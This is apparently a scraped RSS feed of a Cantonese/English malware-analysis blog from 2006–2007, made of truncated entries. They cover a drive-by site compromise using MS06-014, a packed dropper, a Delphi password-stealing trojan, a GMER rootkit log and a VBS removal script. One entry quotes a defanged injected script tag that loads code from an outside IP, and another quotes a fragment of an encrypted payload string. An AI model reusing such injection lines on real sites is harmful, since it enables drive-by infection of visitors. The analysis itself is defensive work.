hxxp://www.zhujiangroad.com/html/hard/h12158.html

入左去睇睇~有問題的部份:

<scr□pt language="javascr□pt" src="hxxp://61.146.118.11/news/include/md5.asp?ad=1"><...]]> blog Krazaf Mon, 22 Jan 2007 01:58:16 GMT http://space.uwants.com/index.php/uid-1501577-action-viewspace-itemid-129122 頭先係crsky睇到火車網被掛馬~

過去睇睇,比人放MS06-014 Exploit,下載ss.exe....

無咩做,睇吓個ss.exe...packed with UPX,multiple MZ headers

當我 unpack 由 ss.exe 釋放出黎的 notepad.dll,睇睇 Export Table....

頂...咩scr□pt黎ga...我只係睇到 execscr□pt ,其他都係encrypted....

再睇睇,有一大段係用("") quote左,咁就係呢段落手....

("\43\100\176\136lww\101A\x41=\75\133Km;s\53 ...]]> blog Krazaf Tue, 09 Jan 2007 16:27:12 GMT http://space.uwants.com/index.php/uid-1501577-action-viewspace-itemid-118250 尋日係EPC一個Post拎到呢個樣本...

實機玩下呢個樣本,

-Written in Delphi,a PWS Trojan

-%CommonProgramFiles%\SYSTEM\[8位random filename].dll

-%CommonProgramFiles%\SYSTEM\[8位random filename].dat

-%U...]]> blog Krazaf Sun, 17 Dec 2006 14:39:17 GMT http://space.uwants.com/index.php/uid-1501577-action-viewspace-itemid-106129 sUBs 同我都留意到一隻國產木馬....

GMER Log

---- System - GMER 1.0.12 ----
SSDT   \??\C:\WINDOWS\system32\drivers\AnRegProt.sys                          &nb...]]> blog Krazaf Thu, 23 Nov 2006 01:45:50 GMT http://space.uwants.com/index.php/uid-1501577-action-viewspace-itemid-90216 File name: tel.xls.exe Size: 48.0 KB (49,152 bytes) Checksum: blog Krazaf Tue, 31 Oct 2006 02:19:43 GMT http://space.uwants.com/index.php/uid-1501577-action-viewspace-itemid-83257 In these few months, the number of Chinese malware/adware increases tremendously.Especially PSW trojans and Broswer Hijackers/StartPage Trojans(eg. 4199,9505.7939,piaoxue...).The security experts start considering this issue.
In the past,the tech...]]> blog Krazaf Mon, 23 Oct 2006 00:57:39 GMT http://space.uwants.com/index.php/uid-1501577-action-viewspace-itemid-79200 The new VBS removal script is available......

I will post it here.......since I need to sleep now......

正在睇Microsoft Script Center的example,重寫中.....

如果測試結果ok,將會在呢幾日推出場.........

Finished....

十分感謝以下的測試人員:
bbiverson,mopery...]]> blog Krazaf Mon, 09 Oct 2006 21:28:36 GMT